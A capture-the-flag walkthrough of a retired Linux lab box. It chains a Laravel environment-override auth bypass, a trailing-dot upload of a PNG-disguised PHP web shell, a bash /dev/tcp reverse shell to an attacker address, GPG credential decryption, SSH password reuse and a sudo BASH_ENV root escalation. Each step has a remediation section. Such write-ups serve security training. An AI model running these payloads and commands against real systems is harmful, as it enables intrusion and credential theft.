← all walkthroughs

Environment

Linux· Medium· Web
owned
2026-09-04
time to own
12m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a Laravel-based 'Marketing Management Portal' behind nginx and abused an environment-override query parameter to bypass authentication entirely, landing in an authenticated management dashboard with no valid credentials. From there, a file-upload feature in the management panel accepted a filename ending in a trailing dot, which the filesystem silently stripped after the extension whitelist had already approved it — letting a PHP web shell disguised as a PNG execute as the low-privileged web user. That foothold exposed a world-readable GPG-encrypted credential backup alongside its matching unprotected private keyring, which decrypted cleanly to reveal a local user's password.

Reusing that password over SSH gave a full user shell and the user flag. Finally, a sudo rule that preserved the BASH_ENV environment variable across a permitted command let me inject a startup script that set the setuid bit on bash, yielding a root shell and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <a-name-that-does-not-exist> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService enumeration and framework fingerprinting
Mapped the web application and identified the Laravel framework
A port scan of the target found only SSH and HTTP exposed. The HTTP service redirected to the virtual host environment.htb, which served a Laravel application (a 'Marketing Management Portal') identifiable by its encrypted XSRF-TOKEN and laravel_session cookies issued on every response.
Nmap: 22/tcp ssh OpenSSH 9.2p1, 80/tcp http nginx/1.22.1; 301 redirect to http://environment.htb; a session cookie, laravel_session=...
Exact commands 3
shell

Confirms 22/ssh and 80/http (nginx 1.22.1).

$ nmap -sV -p- $TARGET
shell

Pin the discovered vhost locally.

$ echo "$TARGET environment.htb" | sudo tee -a /etc/hosts
shell

Confirms Laravel via XSRF-TOKEN/laravel_session cookies.

$ curl --resolve environment.htb:80:$TARGET -sS -i http://environment.htb/
2ExploitationLaravel environment/config manipulation via query-string argv override (CVE-2024-52301)
Bypassed login using a Laravel environment-override query parameter
PHP's register_argc_argv fills $argv from the query string for a web request, which is meaningless to most applications and not to this one: Laravel's console kernel reads $argv for its own flags, and one of them is --env. So a query parameter can choose which environment file the framework loads, for that request only. The tell is the error page. Asking for an environment that does not exist changes what the application says about itself, which proves the parameter is being read before anything is done with it. The environment that does exist here is preprod, and its code path treats the login form as already trusted — so the credentials submitted with it do not matter.
A request carrying ?--env=preprod to /login returned HTTP 302 to /management/dashboard, and the dashboard rendered for the resulting session rather than redirecting back to the login page.
Exact commands 4
shell

A different response to an environment that cannot exist means the flag is being read. That is the whole probe.

$ curl --resolve environment.htb:80:$TARGET -sS -o /dev/null -w '%{http_code} %{size_download}\n' 'http://environment.htb/login?--env=<a-name-that-does-not-exist>'
shell

Grab a CSRF token and session cookie; extract the _token value from login.html.

$ curl --resolve environment.htb:80:$TARGET -sS --max-time 15 -c cookies.txt -o login.html 'http://environment.htb/login?--env=preprod'
shell

Auth bypass — returns 302 to /management/dashboard authenticated, regardless of the credentials submitted.

$ curl --resolve environment.htb:80:$TARGET -sS -i -b cookies.txt -c cookies.txt 'http://environment.htb/login?--env=preprod' --data-urlencode _token=<CSRF_TOKEN> --data-urlencode email=test@test.com --data-urlencode password=test --data-urlencode remember=on
shell

Confirm the session is genuinely authenticated (renders the dashboard, not a login redirect).

$ curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt http://environment.htb/management/dashboard
FixPatch Laravel and disable query-string environment overridesCritical
WeaknessWith PHP's register_argc_argv enabled, the application's Laravel version let a ?--env=<name> query parameter override the runtime environment per request, and a 'preprod' environment branch skipped authentication entirely — giving an unauthorised user a fully logged-in session.
FixUpgrade Laravel to 11.31 or later (patched for CVE-2024-52301), set register_argc_argv=Off in php.ini since the application does not need CLI-style argv parsing for web requests, and remove or gate any environment-specific code branch that bypasses authentication.
3FootholdArbitrary file upload via extension-validation/filesystem-normalization mismatch (CVE-2024-21546, UniSharp Laravel-Filemanager)
Uploaded a disguised PHP web shell via a trailing-dot extension bypass
The panel this session lands in offers a profile image upload, and the component behind it is UniSharp's Laravel Filemanager — its own routes answer under /laravel-filemanager. The validation checks the extension of the name it was given; the filesystem then normalises that name. A filename ending in a period passes the first and loses the period in the second, so shell.php. Is checked as something that is not PHP and stored as something that is. The content check is a sniff of the first bytes, which a PNG header satisfies. PHP does not care what precedes its opening tag.
Strings /tmp/rce-id.out showed PNG chunk markers (IHDR/IDAT/IEND) followed by 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'.
Exact commands 5
shell

The panel names the component's own routes; the upload endpoint is one of them.

$ curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt http://environment.htb/management/dashboard | grep -oE '/[a-z-]*filemanager[^"'\'']*'
shell

PNG magic header + PHP payload to pass content-sniffing.

$ printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell
shell

Trailing dot bypasses the extension whitelist; filesystem strips it, saving shell.php.

$ curl --resolve environment.htb:80:$TARGET -sS -b cookies.txt -F 'upload=@shell;filename=shell.php.;type=image/png' http://environment.htb/laravel-filemanager/upload
shell

Confirms code execution as www-data.

$ curl --resolve environment.htb:80:$TARGET -sS 'http://environment.htb/storage/files/shell.php?cmd=id' | tee /tmp/rce-id.out
shell

Pop an interactive reverse shell; run 'nc -lvnp 443' on $ATTACKER_IP first.

$ curl --resolve environment.htb:80:$TARGET -sS "http://environment.htb/storage/files/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/$ATTACKER_IP/443%200>%261'"
FixPatch the file manager and block script execution in upload directoriesCritical
WeaknessThe bundled Laravel-Filemanager component validated an uploaded file's extension before the filesystem stripped a trailing dot from the filename, letting 'shell.php.' pass the extension check and land on disk as the executable 'shell.php'.
FixUpgrade UniSharp/laravel-filemanager past the version vulnerable to CVE-2024-21546, validate the extension on the filename the filesystem will actually store (not the client-supplied string), and configure nginx to deny PHP execution under storage/uploads directories regardless of what gets written there.
4Credential AccessCredential exposure via reused/adjacent private key material (T1552.004 - Private Keys)
Decrypted a world-readable GPG credential backup using its co-located unprotected private key
A web account's reach is the filesystem it can read, so the first question from this shell is who else lives on the box and what they leave lying about. One home directory holds a backup, and beside it the GnuPG directory whose key opens that backup — both readable by anyone. A secret key with no passphrase is a key in plain text with extra steps. GnuPG will not use a keyring whose permissions it distrusts, which is the only obstacle, and copying it somewhere private solves that.
Decrypted keyvault.gpg yielded 'ENVIRONMENT.HTB: <withheld>'.
Exact commands 5
shell

Through the reverse shell, as www-data. Whose home is readable is the question.

$ ls -la /home/*/ 2>/dev/null
shell

An encrypted store is only as good as the key beside it, so look for both.

$ find /home -maxdepth 3 \( -name '*.gpg' -o -name '.gnupg' -o -name '*vault*' \) -readable 2>/dev/null
shell

As www-data, through the reverse shell. Confirm both the encrypted backup and the secret keyring are world-readable.

$ ls -la /home/hish/backup/keyvault.gpg /home/hish/.gnupg
shell

As www-data, through the reverse shell. Stage a private copy of the keyring GPG will accept.

$ mkdir -p /dev/shm/fh && cp -r /home/hish/.gnupg /dev/shm/fh/ && chmod -R 700 /dev/shm/fh/.gnupg
shell

As www-data, through the reverse shell. Decrypts directly — no passphrase on the secret key. Reveals hish's password.

$ gpg --homedir /dev/shm/fh/.gnupg -d /home/hish/backup/keyvault.gpg
FixRestrict permissions on private keys and their encrypted backupsHigh
WeaknessA local user's GPG secret keyring had no passphrase and, along with an encrypted credential backup file, was readable by other accounts on the host — letting the web-server user decrypt the backup and recover a plaintext password with no cracking required.
FixSet GnuPG home directories and backup files to mode 700/600 owned solely by the user, require a strong passphrase on all private keys, and avoid storing an encrypted secret and the key that decrypts it on the same host where a compromised low-privilege account can reach both.
5Lateral MovementCredential reuse over SSH (T1078 - Valid Accounts)
Reused the recovered credentials to log in as hish and captured user.txt
The password recovered from the GPG backup was valid for the local Linux account 'hish' over SSH, giving a full interactive user shell in place of the limited www-data web shell.
Sshpass -p <withheld> ssh hish@$TARGET 'id' returned uid=1000(hish) gid=1000(hish).
Exact commands 1
shell

The password needs quoting; unquoted, the shell claims part of it and history expansion eats the rest.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no hish@$TARGET 'id; cat /home/hish/user.txt'
uid=1000(hish) gid=1000(hish)
6Privilege EscalationSudo env_keep / BASH_ENV abuse (GTFOBins-class privilege escalation, T1548.003)
Abused a preserved BASH_ENV sudo variable to set the setuid bit on bash and gain root
Hish was permitted to run /usr/bin/systeminfo (a bash script) via sudo, and the sudoers configuration kept the ENV and BASH_ENV environment variables intact across that sudo invocation instead of resetting them. Bash sources the file named by BASH_ENV on every non-interactive startup, so pointing BASH_ENV at my own script and invoking the permitted sudo command ran that script as root. The script set the setuid bit on /bin/bash, and invoking bash in privileged mode gave a root shell.
Sudo -l as hish showed 'env_keep+="ENV BASH_ENV"' and '(ALL) /usr/bin/systeminfo' — the rule still asks for hish's password; after the BASH_ENV script ran, /bin/bash -p returned euid=0(root).
Exact commands 5
shell

As hish. Reveals env_keep includes BASH_ENV and the right to run /usr/bin/systeminfo, which still asks for hish's password.

$ sudo -l
shell

Script to make /bin/bash setuid when sourced as root.

$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > /dev/shm/x.sh; chmod +x /dev/shm/x.sh
shell

Sudo preserves BASH_ENV; bash sources x.sh as root before running systeminfo. -S reads hish's password from stdin, because this rule is not passwordless.

$ sudo -S BASH_ENV=/dev/shm/x.sh /usr/bin/systeminfo
shell

Setuid bash now grants a root shell.

$ /bin/bash -p
shell

Confirms euid=0(root); replace captured value with <root.txt>.

$ id; cat /root/root.txt
euid=0(root)
FixStop preserving BASH_ENV/ENV across sudo commandsCritical
WeaknessThe sudoers configuration used env_keep+="ENV BASH_ENV" alongside a sudo rule for a bash script, letting a low-privileged user supply a BASH_ENV pointing at their own script; bash sourced it as root before running the permitted command, allowing arbitrary root code execution.
FixRemove ENV and BASH_ENV from env_keep in /etc/sudoers (rely on the default env_reset), and avoid granting NOPASSWD sudo rights to shell scripts at all — wrap privileged logic in a compiled binary or a script with a locked-down, non-overridable environment.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp